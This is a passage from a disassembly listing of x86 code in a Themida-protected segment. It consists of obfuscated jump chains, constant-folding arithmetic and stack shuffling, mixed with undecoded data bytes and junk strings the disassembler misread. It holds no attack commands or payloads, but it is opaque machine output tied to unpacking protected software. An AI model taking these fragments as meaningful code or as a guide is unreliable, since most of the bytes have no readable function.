		jmp	loc_55E273
; ---------------------------------------------------------------------------


loc_565882:				; CODE XREF: Themida_:00564104j
		mov	bl, 0EAh
		sub	bl, 0B3h
		jmp	loc_570A00
; ---------------------------------------------------------------------------
aNwERespq	db '╜W©E{ЮEИ╞q',0
		align 4
		dd 0C8E9E630h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56589F:				; CODE XREF: Themida_:005629CEj
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 1BEC733Fh
		push	edx
		mov	edx, 0BF416182h
		sub	ebx, edx
		pop	edx
		mov	edx, ebx
		pop	ebx
		shl	edx, 2
		jmp	loc_56105C
; ---------------------------------------------------------------------------


loc_5658C2:				; CODE XREF: Themida_:005683D5j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56A482
; ---------------------------------------------------------------------------
		dd 426E958h, 4800000h, 3C8A1124h, 0E0895024h, 405h, 0B8505100h
		dd 3963143Ch, 4958C189h, 2C4AC981h, 0A8E9376Ah
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5658FB:				; CODE XREF: Themida_:0056797Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1264784Ch
		add	ecx, 1
		xor	ecx, 12647849h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	735Ch
		mov	[esp], edi
		push	esp
		jmp	loc_56D2EC
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aUsbo		db '$UИ│o',0
		dw 5000h
		dd 582434FFh, 57E38953h, 171DE9h, 0B9515B00h, 4, 72E9C801h
		dd 0C1000007h, 565706E5h, 0AC155E68h, 0C6815E73h, 0D5A3E8Bh
		dd 7786C681h, 0C681266Ch, 8B6EA9B9h, 39E9F789h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56597F:				; CODE XREF: Themida_:0056E4FCj
		pop	ebx
		jmp	loc_5630C8
; ---------------------------------------------------------------------------


loc_565985:				; CODE XREF: Themida_:00560607j
		mov	[esp], ebp
		mov	ebp, 7F4936D6h
		jmp	loc_56A449
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 2AFA5FEEh, 57DAF74Ah, 0EB3EF4BFh, 5FFA213Bh,	0BE6C281h
		dd 1AE9219Ch
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5659AF:				; CODE XREF: Themida_:00568BEEj
		pop	ebx
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D05A
; ---------------------------------------------------------------------------
		dd 0E910EB80h, 0FFFFC7F9h, 24242859h, 14B551h, 5904246Ch
		dd 0FFF9D7E9h, 4C481FFh, 55000000h, 672388BDh, 0ED814540h
		dd 16811718h, 0FFFFED81h, 0BA52FFFFh, 0A807D71h, 0FEE9DAF7h
		dd 89FFFFDAh, 9ABB241Ch, 0F7245D21h, 1C383DBh, 0BFE38143h
		dd 0E95DA21Fh, 883Eh, 4ED81h, 2C870000h, 24248B24h, 0E9240C89h
		dd 0FFFFC1CDh, 7C436853h, 0BD5B54B7h, 7E153AD4h, 85DCE9h
		dd 81D6F700h, 7E928EEh,	5EF189CCh, 148BD101h, 5DB4E924h
		dd 8F590000h, 535C2404h, 0C3815B54h, 4,	8704C383h, 8BE9241Ch
		dd 8B0000A7h, 1C332424h, 241C3124h, 8B241C33h, 44E92424h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565A7F:				; CODE XREF: Themida_:00564821j
		sub	edi, esi
		jmp	loc_567A1E
; ---------------------------------------------------------------------------


loc_565A86:				; CODE XREF: Themida_:00561531j
		and	eax, 55E12E0Ah
		xor	eax, 0F7B447Dh
		or	ebx, eax
		jmp	loc_5672CA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0CAE92404h, 81000081h, 0C90189F6h, 0E83CE976h, 0E3C1FFFFh
		dd 5E3C106h, 8102E3C1h,	530004C3h, 8B92E950h, 56550000h
		dd 0C52C53BEh, 0BDE6810Dh, 4E5F3C6Ch, 0FF9D38E9h, 242C81FFh
		dd 0EFF0E2Eh, 0FFEBE0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565ADD:				; CODE XREF: Themida_:0056B586j
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 35A6426Bh
		inc	ebx
		push	esi
		mov	esi, 44BD1AFBh
		sub	ebx, esi
		pop	esi
		or	ebx, 2F25293h
		inc	ebx
		inc	ebx
		add	ebx, 7075A215h
		xor	ebx, 63711A0Eh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	68D9h
		mov	[esp], edi
		jmp	loc_56BD9A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 752E68h, 243C8900h, 9ABB5351h, 0B92F3761h, 0A0A64B3Bh
		dd 5417C181h, 0F3E9739Eh, 0E900007Eh, 0FFFF6984h
; ---------------------------------------------------------------------------


loc_565B48:				; CODE XREF: Themida_:005690D3j
		push	ebx
		push	esi
		mov	esi, 20901D97h
		jmp	loc_56012B
; ---------------------------------------------------------------------------
		dd 0D64EC281h, 0D029C309h, 0FA9055Ah, 685D091Ah, 3184h
		dd 647DE9h
		db 0
; ---------------------------------------------------------------------------


loc_565B6D:				; CODE XREF: Themida_:0055D598j
		add	edx, 4BA9F70Ch
		add	eax, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_561848
; ---------------------------------------------------------------------------
aBaOdSuc	db '│М"▌D]И⌠≈',0
		db 0
; ---------------------------------------------------------------------------


loc_565B89:				; CODE XREF: Themida_:0055C798j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_55CC11
; ---------------------------------------------------------------------------


loc_565BB0:				; CODE XREF: Themida_:00567BD4j
		pop	edi
		jmp	loc_56C208
; ---------------------------------------------------------------------------


loc_565BB6:				; CODE XREF: Themida_:00567469j
		and	ebp, eax
		pop	eax
		inc	ebp
		jmp	loc_56E470
; ---------------------------------------------------------------------------


loc_565BBF:				; CODE XREF: Themida_:0056AB22j
		mov	ebx, edi
		pop	edi
		push	esi
		mov	esi, 6A23FD64h
		jmp	loc_561284
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8124h, 89000000h,	6A682414h, 89000027h, 4812424h
		dd 424h, 0E9575A00h, 1ABFh, 4EC81h, 14890000h, 0E0895024h
		dd 405h, 0CE79E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565C06:				; CODE XREF: Themida_:0056BEF7j
		sub	esp, 4
		jmp	loc_562CA9
; ---------------------------------------------------------------------------
		db 68h,	0A8h, 19h
		dd 3C890000h, 18BA6824h, 24890000h, 24048324h, 684AE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565C2A:				; CODE XREF: Themida_:0056E6BFj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_563F38
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7830000h, 243C8704h, 4EC835Ch, 0FF240C89h
		dd 0E9042474h, 0B153h
; ---------------------------------------------------------------------------


loc_565C5C:				; CODE XREF: Themida_:00569EC8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, 9C7AC724h
		add	ebx, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_56D060
; ---------------------------------------------------------------------------


loc_565C7B:				; CODE XREF: Themida_:005648DEj
		and	ebp, 61696575h
		push	eax
		jmp	loc_56BC29
; ---------------------------------------------------------------------------


loc_565C87:				; CODE XREF: Themida_:00566A8Fj
		push	eax
		push	ebp
		mov	ebp, 382369CCh
		shr	ebp, 4
		dec	ebp
		xor	ebp, 28331A8Ah
		jmp	loc_56C1C1
; ---------------------------------------------------------------------------
		db 66h,	52h, 0E9h
		dd 0FFFF6A6Ah, 582434FFh, 75968h, 24148900h, 53505A54h
		dd 0FFCF75E9h, 0DC035FFh, 970D3040h, 2D3CBF31h,	0D69C379h
		dd 48BC201h, 4C48124h, 5D000000h, 0AB35E9h, 2434FF00h
		dd 8124048Bh, 4C4h, 7A7C6800h, 4890000h, 5FB1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565CF2:				; CODE XREF: Themida_:00564DA1j
		mov	edx, 4987C09h
		jmp	loc_55F51E
; ---------------------------------------------------------------------------
		dd 405h, 40500h, 4870000h, 0B9515C24h, 19E72A81h, 52FFE983h
		dd 0FFFFFFBAh, 8BD129FFh, 0C4832414h, 977CE904h, 1C89FFFFh
		dd 2BB24h, 0C6810000h, 4BF13430h, 0EE81DE01h, 4BF13430h
		dd 83241C8Bh, 0FF5604C4h, 0E9042474h, 0ABB7h, 0FF2434FFh
		dd 0E9582434h, 0FFFFE868h
; ---------------------------------------------------------------------------


loc_565D58:				; CODE XREF: Themida_:0056BFE5j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56FB9B
; ---------------------------------------------------------------------------


loc_565D65:				; CODE XREF: Themida_:0055F4FCj
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_567149
; ---------------------------------------------------------------------------
		align 4
aSU_1		db 'щ[И"·',0
		db 0
; ---------------------------------------------------------------------------


loc_565D7F:				; CODE XREF: Themida_:0056F459j
		pop	esi
		push	ecx
		mov	ecx, 2
		add	ebx, 413A2523h
		add	ebx, ecx
		sub	ebx, 413A2523h
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_565DA7:				; CODE XREF: Themida_:005661A8j
		add	ebx, edi
		sub	ebx, 22CA5FBFh
		sub	ebx, 2443541h
		sub	ebx, 6D2830E0h
		pop	edi
		xchg	ebx, [esp]
		jmp	loc_562D03
; ---------------------------------------------------------------------------


loc_565DC4:				; CODE XREF: Themida_:0055D66Cj
		xchg	ecx, [esp]
		pop	eax
		xor	eax, 0DF21AB83h
		mov	edi, eax
		push	dword ptr [esp]
		jmp	loc_56D537
; ---------------------------------------------------------------------------


loc_565DD7:				; CODE XREF: Themida_:005605B1j
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_55D332
; ---------------------------------------------------------------------------
		db 81h
		dd 9E709FC3h, 81C3010Bh, 9E709FEBh, 9D68550Bh, 8900005Ch
		dd 0BF57241Ch, 1DF643EAh, 0ABDABDBBh, 5FFB012Ch, 69E5E381h
		dd 0D3F76FA7h, 41A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_565E19:				; CODE XREF: Themida_:00563BFAj
		pop	esp
		push	ebx
		mov	ebx, 2C902EDDh
		add	ebx, 3C8C44F6h
		jmp	loc_56AE07
; ---------------------------------------------------------------------------


loc_565E2B:				; CODE XREF: Themida_:00564258j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0B7h
		and	ch, 0Ch
		not	ch
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0FDh
		or	dh, 91h
		push	ecx
		mov	cl, 0B6h
		xchg	dl, cl
		push	5528h
		mov	[esp], edx
		not	byte ptr [esp]
		jmp	loc_55D7D2
; ---------------------------------------------------------------------------


loc_565E62:				; CODE XREF: Themida_:005683C6j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	0F1Dh
		mov	[esp], ebp
		jmp	loc_56EA76
; ---------------------------------------------------------------------------
		dd 240C8B5Bh, 4C481h, 0C2830000h, 24143304h, 33241431h
		dd 0E95C2414h, 0FFFFC379h, 67A5E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565EA2:				; CODE XREF: Themida_:005635BEj
		mov	[esp], edi
		push	28D0h
		mov	[esp], eax
		jmp	loc_55DAD1
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFBDF9h, 8324148Bh
		db 0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563E6C
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 24348B5Ah, 148B5452h, 4C48324h, 95ADE9h, 0E9CE3100h
		dd 0FFFFD5ABh, 0BA525F59h, 124C328Ch, 81D2F74Ah, 70020EAh
		dd 0C1DAF713h, 40E907E2h, 89FFFF80h, 8951240Ch,	4C181E1h
		dd 0E9000000h, 3310h, 4C4815Bh,	1000000h, 5A042454h, 0FF65A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565F29:				; CODE XREF: Themida_:0056AB7Bj
		mov	edx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55DE6A
; ---------------------------------------------------------------------------
		dd 241C335Eh, 33241C31h, 248B241Ch, 0C8856624h,	657AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F52:				; CODE XREF: Themida_:00568471j
		dec	eax
		not	eax
		push	ebp
		push	edx
		push	34A6708h
		pop	edx
		xor	edx, 68343B55h
		push	edx
		add	dword ptr [esp], 31D204F7h
		pop	ebp
		sub	ebp, 31D204F7h
		mov	edx, [esp]
		jmp	loc_56E333
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 54240C89h, 0E9240C8Bh, 0FFFF6A7Ah, 0E924148Bh
		dd 0FFFF6F46h, 0E7E9CA01h, 0BA00008Bh, 0D1B0166h, 0FE9DAF7h
		dd 8100007Fh, 4ECh, 24148900h, 0FF7BC0E9h, 0B4E948FFh
		dd 89FFFFB9h, 0E9502424h, 0FFFF96DEh, 93968h, 610AE900h
		dd 505A0000h, 4A5A5852h, 0FBBA5292h, 0E9235E24h, 25D6h
		dd 0C688F888h, 241C8B58h, 4C481h, 88580000h, 59665AF4h
		dd 6DFCE951h, 24890000h, 24048324h, 6AEDE904h, 59540000h
		dd 6C4BE9h
		db 0
; ---------------------------------------------------------------------------


loc_566011:				; CODE XREF: Themida_:0056DBC6j
		shl	esi, 6
		sub	esi, 57764251h
		xor	esi, 5B477D68h
		jmp	loc_56EF49
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 89h
		dd 7EBBE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56602E:				; CODE XREF: Themida_:0056F708j
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		jmp	loc_563944
; ---------------------------------------------------------------------------


loc_566046:				; CODE XREF: Themida_:00560C4Fj
		push	edx
		mov	edx, 4
		jmp	loc_569E1B
; ---------------------------------------------------------------------------
		db 0BDh, 2, 0
		dd 0EF010000h, 243C875Dh, 6624248Bh, 9C2404D3h,	0FF6463E9h
		dd 6CC4BEFFh, 1EE94CC2h, 89000075h, 0B850241Ch,	1, 242C8150h
		dd 1AB23C78h, 78C3815Bh, 581AB23Ch, 9EE9DE29h, 0BFFFFFF7h
		dd 36356DD3h, 1B7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56609D:				; CODE XREF: Themida_:0056A238j
		pop	edx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_56DC90
; ---------------------------------------------------------------------------
		db 5Eh
		dd 5EF0315Bh, 4BD8E9h, 4875900h, 0F6815C24h, 0AC9A9DADh
		dd 34FFF101h, 0C4835E24h, 4BE5604h, 0E9000000h,	1B66h
		dd 5FFD015Bh, 8B242C87h, 4092424h, 0CDE99C24h, 8BFFFF63h
		dd 8952243Ch, 0CDE953E2h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56610B:				; CODE XREF: Themida_:0055DF42j
		add	esp, 4
		jmp	loc_55DEB1
; ---------------------------------------------------------------------------
		dw 70BFh
		dd 837BE679h, 11E9FFEFh, 2800008Ch, 0EB8058C3h,	59C380EDh
		dd 0FF6E7EE9h, 0EC8352FFh, 24248904h, 4240483h,	0FFE644E9h
		dd 55E957FFh, 83FFFF8Dh, 0C8704E9h, 0EA11E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566152:				; CODE XREF: Themida_:0056F033j
		mov	edi, 0EA24F3Bh
		sub	eax, 6CAD3214h
		jmp	loc_56D7BC
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0F2h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566167:				; CODE XREF: Themida_:0056CD57j
		sub	edi, 1CC91CAFh
		sub	edi, esi
		add	edi, 1CC91CAFh
		mov	esi, edi
		pop	edi
		or	esi, 656A55F9h
		dec	esi
		sub	esi, 67FB57F4h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebx, 6D2830E0h
		add	ebx, 2443541h
		add	ebx, 22CA5FBFh
		jmp	loc_565DA7
; ---------------------------------------------------------------------------


loc_5661AD:				; CODE XREF: Themida_:00569E32j
		neg	eax
		push	ecx
		mov	ecx, 78514A41h
		neg	ecx
		jmp	loc_5621EB
; ---------------------------------------------------------------------------
		dd 5659CE01h, 0B523E957h, 0C381FFFFh, 4, 4C381h, 1C870000h
		dd 0C4835C24h, 4C18104h, 52000000h, 0FFC648E9h,	5FFE01FFh
		dd 4C681h, 0F7E90000h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5661F3:				; CODE XREF: Themida_:005645DEj
		mov	ecx, edx
		pop	edx
		jmp	loc_55C93C
; ---------------------------------------------------------------------------


loc_5661FB:				; CODE XREF: Themida_:0056333Aj
		pop	ebp
		add	[esp+4], esi
		push	edi
		mov	edi, 1B7D39E8h
		jmp	loc_56F597
; ---------------------------------------------------------------------------
		db 81h
		dd 6771D7E9h, 57E90148h, 6771D7BFh, 5FF90148h, 268565Dh
		dd 5E000000h, 348BF101h, 4C48124h, 33000000h, 0C31240Ch
		dd 8927E924h, 1487FFFFh, 0EB815C24h, 6B955DF6h,	0BE56F301h
		dd 41AC2B71h, 61A1C681h, 0A4E915D3h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566257:				; CODE XREF: Themida_:0055EB5Cj
		push	edx
		mov	edx, 1B2F4CAEh
		mov	ebx, 1350FAACh
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_55EAA9
; ---------------------------------------------------------------------------
		dd 0FF625BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566271:				; CODE XREF: Themida_:0056CD89j
		pop	esp
		jmp	loc_56AD52
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF6812E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56627D:				; CODE XREF: Themida_:0055D21Ej
		pop	esp
		xchg	ecx, ebx
		jmp	loc_563621
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 0AA54E924h, 0E959FFFFh, 0FFFFA4EFh, 31E9028Fh
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56629B:				; CODE XREF: Themida_:00564E0Fj
		xor	edi, 1CC373BDh
		add	ecx, edi
		pop	edi
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_563160
; ---------------------------------------------------------------------------


loc_5662AE:				; CODE XREF: Themida_:0056054Fj
		pop	dword ptr [ebx]
		pop	eax
		pop	ebx
		jmp	loc_55E92F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 0E30AC381h, 0DF89CA2Bh, 1C1EE95Bh, 1C8B0000h
		dd 35C6E924h, 0C4810000h, 4, 87BD5553h,	81408643h, 560453F5h
		dd 45EDD159h, 668BE56h,	0C68159B8h, 0C636656h, 70EE8146h
		dd 0C16CD50Ch, 0CAE905EEh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566307:				; CODE XREF: Themida_:00562CB5j
		pop	esi
		and	edi, 336566D6h
		not	edi
		jmp	loc_560D28
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aSajStl		db '╩≤A╕|ИtL',0
		align 2


loc_566322:				; CODE XREF: Themida_:005675FAj
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_57010B
; ---------------------------------------------------------------------------


loc_56632B:				; CODE XREF: Themida_:0056010Fj
		jmp	loc_56AAC2
; ---------------------------------------------------------------------------
		dd 0E981D101h, 51437507h, 730CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56633D:				; CODE XREF: Themida_:0055C596j
		add	eax, edx
		add	eax, 6C3A5484h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56D8D8
; ---------------------------------------------------------------------------


loc_566353:				; CODE XREF: Themida_:0056C034j
		xor	edi, edx
		pop	edx
		and	esi, edi
		jmp	loc_560C76
; ---------------------------------------------------------------------------
		db 86h,	3Ch, 24h
		dd 429E9h, 2434FF00h, 592434FFh, 5004C483h, 4055854h, 83000000h
		dd 48704C0h, 89505C24h,	405E0h,	42D0000h, 87000000h, 22E92404h
		dd 0C100008Ah, 793504E0h, 29CF168Fh, 8BD5E9C7h,	0BD55FFFFh
		dd 4, 8B77E9h, 2434FF00h, 0E089505Fh, 68F8BB53h, 814322F9h
		dd 185D05C3h, 0BECB817Fh, 0F7783977h, 7D21E9D3h, 0EEC10000h
		dd 0FFEE8104h, 81FFFFFFh, 0C0D078F6h, 24743136h, 2434FF04h
		dd 5224348Bh, 0B951E289h, 1EDC4A2Ch, 4E9C141h, 7665E9h
		db 0
; ---------------------------------------------------------------------------


loc_5663F9:				; CODE XREF: Themida_:0055F2D6j
		pop	ecx
		sub	edi, 0F72406E9h
		add	eax, edi
		jmp	loc_55E2A2
; ---------------------------------------------------------------------------
		db 0BFh
		dd 25DD6F04h, 397BE9h, 0C4835B00h, 60B2E904h, 0E181FFFFh
		dd 39454484h, 1308BA52h, 0D1011335h, 84C9815Ah,	81160F06h
		dd 87063CF1h, 9F65E95Ch, 2C89FFFFh, 4BD24h, 0E9810000h
		dd 29A55BB1h, 0C181E901h, 29A55BB1h, 81242C8Bh,	4C4h, 4C18100h
		dd 0E9000000h, 0FFFF7559h
; ---------------------------------------------------------------------------


loc_566464:				; CODE XREF: Themida_:00566E19j
		push	edi
		mov	edi, 67E23E18h
		sub	edi, 3F25332h
		add	edi, 0B17D66A0h
		sub	ebx, edi
		pop	edi
		jmp	loc_563AFE
; ---------------------------------------------------------------------------
		dw 48Bh
aHo		db '$h╝+',0
		align 2
		dw 1489h
		dd 51E28924h, 4B9h, 84F2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566496:				; CODE XREF: Themida_:00564F15j
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_560198
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_56DCF9
; ---------------------------------------------------------------------------
		dd 3BEB815Eh, 292CF862h, 9673E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5664C2:				; CODE XREF: Themida_:0055C57Aj
		mov	edx, esp
		jmp	loc_56DBCB
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 6Eh
		dd 816DE931h, 3B4602C2h, 734E6850h, 3C890000h, 47C4BF24h
		dd 0BE56292Dh, 4A4669B1h, 41B4E681h, 0E6816A2Fh, 1EEA2ED4h
		dd 77C3C681h, 0F7095196h, 0AFCF815Eh, 557B386Ch, 5F42D1BDh
		dd 0E9EF0944h, 1F6Eh, 1DB95140h, 31767538h, 627FE9C8h
		dd 0E2C1FFFFh, 81D2F708h, 53B638EAh, 5AD529AAh,	240CFF55h
		dd 81242C8Bh, 4C4h, 0E3EBE900h,	34FFFFFFh, 9BE95F24h, 5900005Eh
		dd 0D4865866h, 54B25266h, 5A66D430h, 48BE628h, 4C48324h
		dd 5102EEC0h, 0CE28B4B1h, 0FFF02859h, 0E6E92434h, 51FFFF7Bh
		dd 661875B9h, 59CA0122h, 0B2C1E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56657E:				; CODE XREF: Themida_:0056F3CDj
		pop	eax
		sub	edx, 4
		jmp	loc_56353E
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 9C2404B3h, 0FF5F37E9h, 0C8B5CFFh, 4C48124h, 2C000000h
		dd 4C800B1h, 6C5068B1h,	1C890000h, 53E9B324h, 0EF801CB7h
		dd 8D12E9F0h, 79050000h, 2D08572Ah, 4D73576Eh, 4055Ah
		dd 4330000h, 24043124h,	8B240433h, 34FF2424h, 9678E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5665DE:				; CODE XREF: Themida_:005656E2j
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 309A188Bh
		mov	ecx, 452D2611h
		jmp	loc_5609A0
; ---------------------------------------------------------------------------
		db 1
		dd 0EC835BD8h, 24348904h, 226768h, 241C8900h, 0C17EF868h
		dd 241C8B55h, 53E18951h, 4F7DBA52h, 43BB7432h, 31212578h
		dd 32E95AD3h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566627:				; CODE XREF: Themida_:0055D853j
		pop	eax
		push	471Fh
		mov	[esp], esi
		jmp	loc_563A76
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 792D0000h, 0E908572Ah, 3231h
; ---------------------------------------------------------------------------


loc_566648:				; CODE XREF: Themida_:0056E755j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_56C19A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 436F3F7Fh, 67A9E955h, 8158FFFFh, 4C4h, 51E95200h, 83000001h
		dd 348904ECh, 785DBE24h, 87560F4Dh, 0E4E9243Ch
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566683:				; CODE XREF: Themida_:0056F1F2j
		push	edi
		mov	edi, 2E06D390h
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		pop	ebx
		sub	ecx, edi
		mov	edi, [esp]
		jmp	loc_563671
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 98D3E924h, 0EE81FFFFh, 206753ADh, 0E905E6C1h, 0FFFF6D5Ch
		dd 665A6659h, 0F0B65251h, 804FF680h, 0C6808DCEh, 30BCB154h
		dd 24148BF1h, 4C481h, 0E9520000h, 0FFFFC612h
; ---------------------------------------------------------------------------


loc_5666D4:				; CODE XREF: Themida_:0055F173j
		xchg	esi, edx
		not	esi
		jmp	loc_564BDE
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 18h
		dd 0E944FA3Ah, 0FFFF76C2h
; ---------------------------------------------------------------------------


loc_5666E8:				; CODE XREF: Themida_:0055DE73j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_570536
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 0FF641DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566701:				; CODE XREF: Themida_:00566719j
		mov	esi, 4
		jmp	loc_564A08
; ---------------------------------------------------------------------------
		db 0C1h
		dd 71E905EBh
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566713:				; CODE XREF: Themida_:0056A2F4j
		add	eax, 4
		push	esi
		jmp	loc_566701
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8704h, 241C895Ch, 165B6852h, 148B6ABAh, 9298E924h
		dd 34FFFFFFh, 24048B24h, 0E904C483h, 2062h, 0C381E389h
		dd 4, 0E904EB83h, 0FFFF90CBh
; ---------------------------------------------------------------------------


loc_566754:				; CODE XREF: Themida_:0056954Aj
		add	esp, 4
		push	ebp
		mov	ebp, 30480DA1h
		sub	edi, 2703653h
		add	edi, ebp
		add	edi, 2703653h
		pop	ebp
		add	ebx, 3D945969h
		sub	ebx, 6B9C1754h
		sub	ebx, edi
		add	ebx, 6B9C1754h
		sub	ebx, 3D945969h
		jmp	loc_56E879
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89665697h, 7EE9241Ch, 28FFFFB4h, 0CA43E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667A2:				; CODE XREF: Themida_:00568298j
		mov	ebx, 0A8005FE5h
		sub	esi, ebx
		pop	ebx
		jmp	loc_5690E7
; ---------------------------------------------------------------------------


loc_5667AF:				; CODE XREF: Themida_:0055D2C4j
		mov	al, 7Dh
		add	al, cl
		pop	ecx
		xor	al, 43h
		or	dh, al
		pop	eax
		dec	dh
		jmp	loc_55DE0E
; ---------------------------------------------------------------------------
		dd 933B58BAh, 0E9D60110h, 74ADh
; ---------------------------------------------------------------------------


loc_5667CC:				; CODE XREF: Themida_:0056485Aj
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5620F6
; ---------------------------------------------------------------------------


loc_5667D6:				; CODE XREF: Themida_:0055E26Ej
		pop	edi
		push	ebx
		mov	ebx, 1F7E11F3h
		jmp	loc_56378E
